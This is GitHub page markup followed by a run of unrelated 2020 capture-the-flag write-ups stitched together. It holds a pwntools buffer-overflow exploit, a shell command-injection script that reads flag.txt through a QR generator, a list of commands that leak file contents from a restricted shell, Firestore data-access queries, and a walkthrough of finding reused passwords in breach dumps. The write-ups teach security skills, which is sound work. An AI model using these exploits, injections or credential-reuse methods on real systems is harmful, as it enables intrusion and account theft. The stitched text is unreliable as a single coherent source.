<include-fragment src="/perfectblue/ctf-writeups/file-list/master/2020/plaidctf-2020/shockwave"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>you_wa_shockwave-cd93e87bfc18b8efe106cac3672c99ace8755767bc4315889996e130647528dd.tar.gz</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>you_wa_shockwave.dcr</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Here are some kinds of cmd can use to leak content of files: * file viewer (`more`)* compress/decompress cmd (`xz`, `tar`, `bzip2`)* Language interpreter/assembler (`perl`, `as` ) [see more](http://taqini.space/2020/04/20/WPICTF-2020-pwn-linux-wp/#Suckmore-Shell-2-0-200pt)
https://outwrest.github.io/writeup/2020/04/13/DawgCTF-Writeup.html Presented with a 100 megabyte .Onion file, I didn’t know what to do until I read the description of the challenge which mentioned the famous Shrek quote: Ogres are like Onions, they have layers. The quote hinted that there may be different layers of encryptions. A small part of it is shown below: 4e4755304e7a55314d7a41305a5464684e54557a4d54526b4e3245304d544d774e5745314e4459304e6a67305a5455304e Decoding it by hex to ASCII leads to NGU0NzU1MzA0ZTdhNTUzMTRkN2E0MTMwNWE1NDY0Njg0ZTU0N Which looks like base64, decoing back to ASCII leads to 4e4755304e7a55314d7a41305a5464684e54 Bingo, we have the layers. I wrote a simple little python script to do exactly just that to the file
## Eagle (Pwn, 125pts) # EnumerationSo we are on the pwn category, so lets enumerate the binary. **File Type**```shad3@zeroday:~/Desktop/Security/CTF/virsec$ file eagle eagle: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=a846d3f8892ac270e52ea0ce8d316fe15146d3a5, not stripped```**Security**```gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial```**Functions**```shad3@zeroday:~/Desktop/Security/CTF/virsec$ objdump -t eagle eagle: file format elf32-i386 SYMBOL TABLE:08048154 l d .interp 00000000 .interp08048168 l d .note.ABI-tag 00000000 .note.ABI-tag08048188 l d .note.gnu.build-id 00000000 .note.gnu.build-id080481ac l d .gnu.hash 00000000 .gnu.hash080481cc l d .dynsym 00000000 .dynsym0804826c l d .dynstr 00000000 .dynstr080482d6 l d .gnu.version 00000000 .gnu.version080482ec l d .gnu.version_r 00000000 .gnu.version_r0804830c l d .rel.dyn 00000000 .rel.dyn08048324 l d .rel.plt 00000000 .rel.plt0804834c l d .init 00000000 .init08048370 l d .plt 00000000 .plt080483d0 l d .plt.got 00000000 .plt.got080483e0 l d .text 00000000 .text08048704 l d .fini 00000000 .fini08048718 l d .rodata 00000000 .rodata08048854 l d .eh_frame_hdr 00000000 .eh_frame_hdr080488a0 l d .eh_frame 00000000 .eh_frame08049f04 l d .init_array 00000000 .init_array08049f08 l d .fini_array 00000000 .fini_array08049f0c l d .dynamic 00000000 .dynamic08049ff4 l d .got 00000000 .got0804a000 l d .got.plt 00000000 .got.plt0804a020 l d .data 00000000 .data0804a028 l d .bss 00000000 .bss00000000 l d .comment 00000000 .comment00000000 l df *ABS* 00000000 crtstuff.c08048440 l F .text 00000000 deregister_tm_clones08048480 l F .text 00000000 register_tm_clones080484c0 l F .text 00000000 __do_global_dtors_aux0804a028 l O .bss 00000001 completed.728308049f08 l O .fini_array 00000000 __do_global_dtors_aux_fini_array_entry080484f0 l F .text 00000000 frame_dummy08049f04 l O .init_array 00000000 __frame_dummy_init_array_entry00000000 l df *ABS* 00000000 eagle.c00000000 l df *ABS* 00000000 crtstuff.c080489e0 l O .eh_frame 00000000 __FRAME_END__00000000 l df *ABS* 00000000 08049f08 l .init_array 00000000 __init_array_end08049f0c l O .dynamic 00000000 _DYNAMIC08049f04 l .init_array 00000000 __init_array_start08048854 l .eh_frame_hdr 00000000 __GNU_EH_FRAME_HDR0804a000 l O .got.plt 00000000 _GLOBAL_OFFSET_TABLE_08048700 g F .text 00000002 __libc_csu_fini08048430 g F .text 00000004 .hidden __x86.get_pc_thunk.bx0804a020 w .data 00000000 data_start00000000 F *UND* 00000000 fflush@@GLIBC_2.000000000 F *UND* 00000000 gets@@GLIBC_2.008048546 g F .text 0000004f vuln080484f6 g F .text 00000050 get_flag0804a028 g .data 00000000 _edata08048704 g F .fini 00000000 _fini0804a020 g .data 00000000 __data_start00000000 F *UND* 00000000 puts@@GLIBC_2.000000000 F *UND* 00000000 system@@GLIBC_2.000000000 w *UND* 00000000 __gmon_start__0804a024 g O .data 00000000 .hidden __dso_handle0804871c g O .rodata 00000004 _IO_stdin_used00000000 F *UND* 00000000 __libc_start_main@@GLIBC_2.0080486a0 g F .text 0000005d __libc_csu_init00000000 O *UND* 00000000 stdin@@GLIBC_2.00804a02c g .bss 00000000 _end08048420 g F .text 00000002 .hidden _dl_relocate_static_pie080483e0 g F .text 00000000 _start08048718 g O .rodata 00000004 _fp_hw00000000 O *UND* 00000000 stdout@@GLIBC_2.00804a028 g .bss 00000000 __bss_start08048595 g F .text 00000106 main0804a028 g O .data 00000000 .hidden __TMC_END__0804834c g F .init 00000000 _init```*080484f6 g F .text 00000050 get_flag*So from our enumeration we know that it's a x86 executable and that we dont have to spawn a shell all we have to do is redirect the execution flow to the get_flag function. Since we dont have to spawn a shell we can solve this doing exploiting a classic buffer overflow and not a ret2libc attack. Lets write a script to exploit it```pythonfrom pwn import * p = remote('jh2i.com' ,50039) bof = 'A' * 76flag = p32(0x080484f6) payload = bof + flag p.recvuntil("Avast!")p.send(payload)p.recvline()```And it worked... ```shad3@zeroday:~/Desktop/Security/CTF/virsec$ python exploit.py | | | )_) )_) )_) )___))___))___)\ )____)____)_____)\\ _____|____|____|____\\\__---------\ /--------- ^^^^^ ^^^^^^^^^^^^^^^^^^^^^ ^^^^ ^^^^ ^^^ ^^ ^^^^ ^^^ Avast!LLS{if_only_eagle_would_buffer_overflow}```
# Fire-placeWeb > You see, I built a nice fire/place for us to all huddle around. It's completely decentralized, and we can all share stuff in it for fun!!> Hint! I wonder... what's inside the HTML page? Inspecting the source of the HTML doc reveals that this uses Google FireBase's FireStore. We can get a DB reference to the `data` collection by typing the following in the console: ```javascriptvar x = await db.collection("board").doc("data").get()console.log(x.data())``` (`.get()` returns a Promise so we have to await it) After a few more minutes of poking around I told a teammate and left. The solution was to guess that there was another document named `flag` and retrieve that: ```javascriptvar x = await db.collection("board").doc("flag").get()console.log(x.data())``` angery :( Flag: `rtcp{d0n't_g1ve_us3rs_db_a((3ss}`
# QR-GeneratorWeb > I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?>> http://challs.houseplant.riceteacatpanda.wtf:30004> > Hint! For some reason, my website isn't too fond of backticks... The backticks seem to indicate the typical bash injection. The endpoint where the actual QR code is processed is at `/qr?text=<text>`. Scanning some sample QR codes reveals that it only encodes the first letter of whatever is encoded. On errors, it redirects to `/error.jpg`. We can try injecting ``/qr?text=`ls` `` (the extra space isn't necessary, markdown just doesn't like literal backticks). Scanning the generated QR code gives us an `R`. To get the full character, we can iterate through characters of the stdout of the command: `<cmd> | head -c n | tail -c 1` where n is the n'th character of stdout. We can use this trick with `ls` to get the directory listing. We find that there is a `flag.txt`. The following script extracts the contents of `flag.txt`. ```pythonfrom pyzbar.pyzbar import decodefrom PIL import Image import urllib.request url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=`cat%20flag.txt|%20head%20-c%20{}%20|%20tail%20-c%201`" i = 1 while True: temp = url.format(i) urllib.request.urlretrieve(temp, "qr.jpg") print(decode(Image.open("qr.jpg"))[0].data.decode(), end="") i+=1``` Flag: `rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}`
# Meet me there (crypto, 232p) In the task we get [code](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-12-ByteBanditsCTF/meet/meet.py) and results: ```Give me a string:aaaaaaaaaaaaaaaaEncrypted string:ef92fab38516aa95fdc53c2eb7e8fe1d5e12288fdc9d026e30469f38ca87c305ef92fab38516aa95fdc53c2eb7e8fe1d5e12288fdc9d026e30469f38ca87c305 Encrypted Flag:fa364f11360cef2550bd9426948af22919f8bdf4903ee561ba3d9b9c7daba4e759268b5b5b4ea2589af3cf4abe6f9ae7e33c84e73a9c1630a25752ad2a984abfbbfaca24f7c0b4313e87e396f2bf5ae56ee99bb03c2ffdf67072e1dc98f9ef691db700d73f85f57ebd84f5c1711a28d1a50787d6e1b5e726bc50db5a3694f576``` The idea of the code is rather simple: 1. Two separate AES keys are generated, each one with just 3 bytes secret2. Flag is encrypted by one, and then by the other3. We also get a single plaintext-ciphertext pair ## Expected solution We solved this via a simple meet-in-the-middle attack, but there is a weird thing in the code, which makes it even simpler than it was supposed to be -> payloads are hex-encoded before the encryption both times. The idea of meet-in-the-middle is that we can: - For all possible key1 values encrypt the known plaintext, and store the results in a lookup map as `ciphertext -> key1`- For all possible key2 values decrypt the known ciphertext, and check if the result is in the lookup map we created If there is a match, it means we found such `key2` that when we decrypt the ciphertext we know, we get plaintext encrypted by `key1` and thus we know both keys: ```pythondef first_half(): pt = 'aaaaaaaaaaaaaaaa' val = len(pt) % 16 if not val == 0: pt += '0' * (16 - val) res = {} for a in printable: for b in printable: for c in printable: key1 = '0' * 13 + a + b + c cipher1 = AES.new(key=key1, mode=AES.MODE_ECB) c1 = cipher1.encrypt(pt.encode('hex')).encode("hex") res[c1] = key1 return res def second_half(first_half): ct = "ef92fab38516aa95fdc53c2eb7e8fe1d5e12288fdc9d026e30469f38ca87c305ef92fab38516aa95fdc53c2eb7e8fe1d5e12288fdc9d026e30469f38ca87c305".decode("hex") for a in printable: for b in printable: for c in printable: key2 = a + b + c + '0' * 13 cipher2 = AES.new(key=key2, mode=AES.MODE_ECB) res = cipher2.decrypt(ct) if res in first_half: key1 = first_half[res] return key1, key2``` Once we have both keys we can decrypt flag: `flag{y0u_m@d3_i7_t0_7h3_m1dddl3}` ## Unintended solution Because of the mistake, there was a solution slightly easier: since payloads were hexencoded before encryption, it means the decrypted data would be hexencoded string!So if we decrypt the flag using all possible `key2` values, only one of them will give us a nice hex-encoded string.Then we can proceed in the same way with this string, to look for the all possible `key1` values: ```pythondef unintended(): flag = 'fa364f11360cef2550bd9426948af22919f8bdf4903ee561ba3d9b9c7daba4e759268b5b5b4ea2589af3cf4abe6f9ae7e33c84e73a9c1630a25752ad2a984abfbbfaca24f7c0b4313e87e396f2bf5ae56ee99bb03c2ffdf67072e1dc98f9ef691db700d73f85f57ebd84f5c1711a28d1a50787d6e1b5e726bc50db5a3694f576'.decode( "hex") for a in printable: for b in printable: for c in printable: key2 = a + b + c + '0' * 13 cipher2 = AES.new(key=key2, mode=AES.MODE_ECB) x = cipher2.decrypt(flag) if len(set(x).difference(string.hexdigits)) == 0: print("Found second", key2) for a in printable: for b in printable: for c in printable: key1 = '0' * 13 + a + b + c cipher1 = AES.new(key=key1, mode=AES.MODE_ECB) y = cipher1.decrypt(x.decode("hex")) if len(set(y).difference(string.hexdigits)) == 0: print("Found first", key1) print(y.decode("hex")) sys.exit(0)``` [complete solver here](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-12-ByteBanditsCTF/meet/solver.py)
# Groovin-and-CubinOsint > I really like my work, I get to make cool cryptography CTF challenges but with Rubik's cubes! Sadly, they aren't good enough to get released, but hey, I took a nice image of my work! You should go try to find some more about my work :)> > Attached: vibin.zip Extracting the zip gives us an image. Something inside our soul tells us to check EXIF data, so we do: ```exiftool vibin.jpg ExifTool Version Number : 10.94File Name : vibin.jpgDirectory : .File Size : 2.4 MB...Comment : A long day of doing cube crypto at work... but working at Groobi Doobie Shoobie Corp is super fun!...``` The comment leads us to look for a store named `Groobi Doobie Shoobie Corp`. We find [their Twitter](https://twitter.com/GShoobie) eventually. Scrolling to their first tweet reveals that they have an [Instagram account](https://www.instagram.com/groovyshoobie/) too. The flag is in the bio. Flag: `rtcp{eXiF_c0Mm3nT5_4r3nT_n3cEss4rY}`
Graphical writeup:https://twitter.com/David3141593/status/1253122980525334529 TL;DR make all the sections overlap. 170 byte solution (base64'd): ```f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAAA6AAAAAAAAADHASLvRnZaR0IyX/+scOAACAAEAAAAHAAAAAAAAAAAAAAAAAAUAAAAAAEj321NUX5lSV1ResDsPBQBAAQAAAAAAAAAQAAAAAAAAAgAAAP////+EAAAAAAAAAIQABQAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAKAAFAAAAAAAGAAAAAAA=```
[detailed write-up on github](https://github.com/shellc0d3/CTFwriteups/tree/master/dawgctf2020/tom%20nook%20the%20capitalist%20racoon)```#!/usr/bin/env python2from pwn import * conn = remote('ctf.umbccd.io', 4400) #to sell all the itemsfor i in range(1,5): conn.sendline('1') conn.sendline(str(i)) #to buy an itemconn.sendline('2')conn.sendline('2') #keeps selling to accumulate moneyfor i in range(55): conn.sendline('1') conn.sendline('1') #buy the flagconn.sendline('2')conn.sendline('6')conn.sendline('1') print conn.recvline_contains('DawgCTF')conn.close()```
# Impossible Pen Test This challenge is a challenge decomposed in 5 parts. All parts have a common [website](https://theinternet.ctf.umbccd.io/) and we are given the following indication: > (no web scraping is required to complete this challenge) Then for each part, we are given a description on where to find the flag. The website looks like the following: ![theinternet](../images/pentest.png) ## Part 1 > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the password of an affiliate's CEO somewhere on the internet and use it to log in to the corporate site? Let's find information on the corporate website. ![burke](../images/pentest_burke.png) On this page we get some names. Truman Gritzwald is CEO of Burke Defense Solutions & Management (we'll abbreviate is as Burke DSM). We also get a bunch of other names, people from other companies associated to Burke DSM:- Todd Turtle- Mohamed Crane- Sonny Bridges- Emery Rollins We also see that we can login with an email address and a password. Let's go back and let's look them up both on Syncedin (professional social network) and Facespace (personnal social network). On their Syncedin, we can see their email address. They also all appear to be CEOs, which is great because we are looking for affiliate's CEOs credentials. Here I will only show relevant information found by browsing the profile pages. First there is this message posted on Rollins' Facespace: ![chariott](../images/pentest_rollins.png) By entering `chariottinternational` into the `data breaches` form, we get a huge `.txt` file with a bunch of email addresses and passwords. Good, we can now look for matching email addresses from our CEOs. We get a match with Sonny Bridges: ![sonnybridge](../images/pentest_bridges.png) ![chariott](../images/pentest_chariott.png) We enter the credentials on the website and we get our first flag (too bad Sonny reused her password). ![flag1](../images/pentest_flag1.png) Flag: `DawgCTF{th3_w3@k3s7_1!nk}` ## Part 2 > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find a disgruntled former employee somewhere on the internet (their URL will be the flag)? Now we need to look for a disgruntled former employee of the company. The only person we know is part of the company is the CEO, so this is probably a good starting point. Let's have a look at his Facespace page: ![truman](../images/pentest_truman.png) Here we get a lot of information:- his wife is Trudy Gritzwald- he has a business partner Madalynn Burke- he fired his CFO on Nov 27, 2019. Maybe this is the employee we're looking for?- he knows CTO Isabela Baker. Let's look at his professional relations first. Isabela Baker is CTO of Burke Holdings, and we get no more relevant information from her profile. Madalynn Burke is a former CISO of Burke DSM, between 09/2019 and 01/2020. She does not correspond to the fired CFO, plus she got praise from Truman Gritzwald, and her URL has form `Doge{...}` so she's not the employee we're looking for. ![madalynn_syncedin](../images/pentest_madalynn_syncedin.png) Her Facespace gives us the name of another employee: Royce Joyce, CTO. ![madalynn_facespace](../images/pentest_madalynn_facespace.png) In addition, we get another data breach, with another text file with emails and passwords. Royce Joyce is CTO of Burke DSM from 03/2019. ![royce_syncedin](../images/pentest_joyce_syncedin.png) His Facespace page gives us another data breach, as well as all the people in his team. ![royce_facespace](../images/pentest_joyce.png) Great, now we have a lot of new names:- Carlee Booker- Lilly Din- Damian Nevado- Tristen Winters- Orlando Sanford- Hope Rocha- Truman Gritzwad. We can look them up on Syncedin and Facespace. At last we find a relevant piece of information on Tristan Winters' Facespace page, current CISO of Burke DSM. ![winters](../images/pentest_winters.png) We have a negative message about Rudy Grizwald, the data after Truman Grizwald fired his CFO. We confirm that Rudy Grizwald is the former CFO of Burke DSM. ![grizwald_syncedin](../images/pentest_grizwald_syncedin.png) And he definitely has a grudge against the CEO ![grizwald_facespace_n](../images/pentest_grizwald_facespace.png) This is confirmed by its url with the flag included. Flag: `DawgCTF{RudyGrizwald}` ## Part 3 > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the mother of the help desk employee's name with their maiden name somewhere on the internet (the mother's URL will be the flag)? From part 2, we had the whole team of Burke DSM CTO's, and Orlando Sanford happens to be a help desk worker. ![sanford_syncedin](../images/pentest_sanford_syncedin.png) By looking at his Facespace page, we see the name of his mother in a post: Alexus Cunningham. ![sanford_facespace](../images/pentest_sanford_facespace.png) We look at Alexus Cunningham's profile and its URL contains the flag. Flag: `DawgCTF{AlexusCunningham}` ## Part 4 > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the syncedin page of the linux admin somewhere on the internet (their URL will be the flag)? Once again, we had a bunch of names from part 2, and Hope Rocha is a former Linux Admin of Burke DSM. ![rocha_syncedin](../images/pentest_rocha_syncedin.png) By looking at her Facespace page, we find the name of the current Linux Admin: Guillermo McCoy. ![rocha_facespace](../images/pentest_rocha_facespace.png) Flag: `DawgCTF{GuillermoMcCoy}` ## Part 5 > Welcome! We're trying to hack into Burke Defense Solutions & Management, and we need your help. Can you help us find the CTO's password somewhere on the internet and use it to log in to the corporate site? Let's recall from part 2 that the CTO is Royce Joyce. Once again his Syncedin gives away his email addresses. ![royce_syncedin](../images/pentest_joyce_syncedin.png) Moreover, in part 1 we had recovered the Mariott International breach, and in part 2 we had recovered two more breaches from Skayou and Spot. So let's find in those three files if there is a match for Royce Joyce's email. ![breach](../images/pentest_flag5.png) Here it is, let's enter it on the website. ![flag5](../images/pentest_flag5_web.png) Flag: `DawgCTF{xkcd_p@ssw0rds_rul3}`
